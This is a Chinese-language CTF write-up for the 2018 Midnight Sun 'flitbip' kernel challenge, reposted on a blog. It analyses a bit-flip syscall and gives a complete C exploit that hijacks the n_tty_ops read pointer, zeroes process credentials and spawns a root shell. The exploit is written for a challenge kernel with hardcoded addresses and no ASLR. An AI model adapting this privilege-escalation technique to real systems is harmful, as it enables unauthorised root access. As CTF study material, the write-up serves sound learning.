内容简介:以往多数的kernel pwn题都是基于内核扩展模块的漏洞分析,今天我们来看2018年Midnight Sun CTF一个无*.ko内核模块的题。题目下载:
0x001 前言
以往多数的kernel pwn题都是基于内核扩展模块的漏洞分析,今天我们来看2018年Midnight Sun CTF一个无*.ko内核模块的题。
题目下载:
链接: https://pan.baidu.com/s/1_DcmU8JzseiiOA7mkYQu8Q 密码:kfc8
0x002 干掉定时logout
由于内核运行一断时间后便会退出,需要解开文件系统,做一定修改
mkdir core mv ./core.cpio ./core/ cd core cpio -idmv < initrd rm initrd
一般的,我们会去看 init 文件,但貌似并没有问题
最后,我找到了 /home/flitbip 下的 .profile 文件,将第1、2行注释掉
为了后续调试方便,我在根目录新建一个 tmp 文件夹,在 init 作如下改动,让启动的内核具有root权限
重新打包
find . -print0 | cpio --null -ov --format=newc > core.cpio mv ./core.cpio .. rm -rf ../core
0x003 分析
由init看得出来,内核启动过程并未加载任何与题目相关的内核扩展模块,但 src 目录下有一个 flitbip.c 文件
这里定义了一个系统调用(系统调用号为 333 ),会将参数 addr 的第 bit 位翻转
留意到 flit_cout 必须要小于 MAXFLIT = 1 ,否则便会退出
绕过方法:
flit_cout 是有符号长整型,调用一次系统调用 flitbip ,将 flit_cout 最高位翻转,此时 flit_cout 为负数。
long flitbip(long *addr, long bit)
{
__asm__("mov rax, 333;"
"syscall;"
);
}
int main()
{
...
flitbip(flit_count, 63);
...
}
先调试看看是否已经绕过,用 extract-vmlinux 提取内核执行文件
当我看到这样的情况,我是一脸懵逼的
估计是generic版的内核,好吧…只能去 /proc/kallsyms 找了
/tmp # cat /proc/kallsyms | grep flit_count ffffffff818f4f78 B flit_count
EXP执行前
EXP执行后,看样子 flit_count 翻转成负数了
下面考虑如何提权:
内核中存在 n_tty_ops 这个全局指针,其指向的这片地存储着许多函数指针,我们想办法将该处的函数指针改成我们 root 函数的地址,再触发该函数。
n_tty_ops 指向的函数指针
最后,我们利用含有漏洞333号系统调用,将 n_tty_read 劫持成 root 函数提权, n_tty_read 存储在 *n_tty_ops + 0x30
0x004 ROOT
由于没有开aslr,直接将 n_tty_ops 等地址写死即可
完整的EXP
// gcc solved.c -static -masm=intel -g -o solved
#include <stdio.h>
#include <stdlib.h>
unsigned long *flit_count = 0xffffffff818f4f78;
unsigned long *n_tty_read = 0xffffffff810c8510;
unsigned long *n_tty_ops = 0xffffffff8183e320;
unsigned long *current_task = 0xffffffff8182e040;
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov %0, cs;"
"mov %1, ss;"
"mov %2, rsp;"
"pushfq;"
"popq %3;"
:"=r"(user_cs),"=r"(user_ss),"=r"(user_sp),"=r"(user_rflags)
:
:"memory"
);
puts("[*]status has been saved.");
}
void binsh()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
long flitbip(long *addr, long bit)
{
__asm__("mov rax, 333;"
"syscall;"
);
}
void root()
{
int *cred = *(unsigned long *)((char *)*current_task + 0x3c0);
for(int i = 1; i < 9; i++)
cred[i] = 0;
*(unsigned long *)((char *)n_tty_ops + 0x30) = (unsigned long)n_tty_read;
__asm__("swapgs;"
"mov rax, %0;"
"push rax;"
"mov rax, %1;"
"push rax;"
"mov rax, %2;"
"push rax;"
"mov rax, %3;"
"push rax;"
"mov rax, %4;"
"push rax;"
"iretq;"
:
:"r"(user_ss),"r"(user_sp),"r"(user_rflags),"r"(user_cs),"r"(binsh)
:"memory"
);
}
int main()
{
save_status();
printf("user_sp addr: %pn", user_sp);
flitbip(flit_count, 63);
unsigned long xor = (unsigned long)root ^ (unsigned long)n_tty_read;
printf("root addr: %lxn", root);
printf("root xor: %lxn", xor);
for(unsigned long i = 0; i < 64; i++)
{
if(xor & (1ULL << (i)))
flitbip((char *)n_tty_ops + 0x30, i);
}
scanf("%c", user_sp);
while(1);
return 0;
}
root~
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- NULL 指针、零指针、野指针
- 将数组和矩阵传递给函数,作为C中指针的指针和指针
- C语言指针数组和数组指针
- python(函数指针和类函数指针)
- 可导致数百万玩家帐户被劫持:EA游戏帐户劫持漏洞分析
- C++ 基类指针和派生类指针之间的转换
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Paradigms of Artificial Intelligence Programming
Peter Norvig / Morgan Kaufmann / 1991-10-01 / USD 77.95
Paradigms of AI Programming is the first text to teach advanced Common Lisp techniques in the context of building major AI systems. By reconstructing authentic, complex AI programs using state-of-the-......一起来看看 《Paradigms of Artificial Intelligence Programming》 这本书的介绍吧!